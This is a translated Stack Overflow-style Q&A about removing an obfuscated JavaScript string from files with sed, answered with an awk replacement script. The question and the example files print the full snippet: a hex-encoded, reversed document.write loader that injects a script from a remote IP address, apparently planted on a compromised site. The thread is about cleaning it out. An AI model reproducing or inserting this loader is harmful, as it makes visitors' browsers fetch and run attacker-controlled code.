使用sed替换复杂的模式 [英] replacing a complex pattern using sed

问题描述

我想通过使用sed命令来替换模式.要删除的图案如下，带有空格.

I want to replace a pattern by using sed command. The pattern to be removed is as below with a space.

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]]\(_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]]\(_0xaae8[0]))

现在我需要将上述模式替换为空格.这种模式可以在文件中的任何位置(即可以在文件的开头/文件结尾或在某些字符串之间)

Now I need to replace the above pattern with a space. This patter can be anywhere in the file ( i.e can be on the begining on the file / end of file or between some strings)

通过sed删除正则表达式的任何提示吗?

any tips for regex to remove via sed ?

谢谢.

推荐答案

$ cat r.awk
#!/usr/bin/awk -f

NR == FNR { # read a first file with a string to match
    str = $0
    rep = " " # replace by `rep'
    RS = "$^" # regexp which never matches => the next record will be
              # a string with a whole second file
    nextfile
}

{
    file = $0; ans = ""
    while (i = index(file, str)) {
        pre  = substr(file, 1              , i - 1)  # parts before
        post = substr(file, i + length(str))         # and after `str'
        ans  = ans pre rep # append to the output
        file = post
    }
    ans = ans file
    printf "%s", ans
}

在文件中存储字符串

$ cat r.txt
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]]\(_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]]\(_0xaae8[0]))

一个例子

$ cat f.txt
BEFORE
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]]\(_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]]\(_0xaae8[0]))
AFTER
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]]\(_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]]\(_0xaae8[0]))
END

用法:

$ awk -f r.awk r.txt f.txt

BEFORE

AFTER

END

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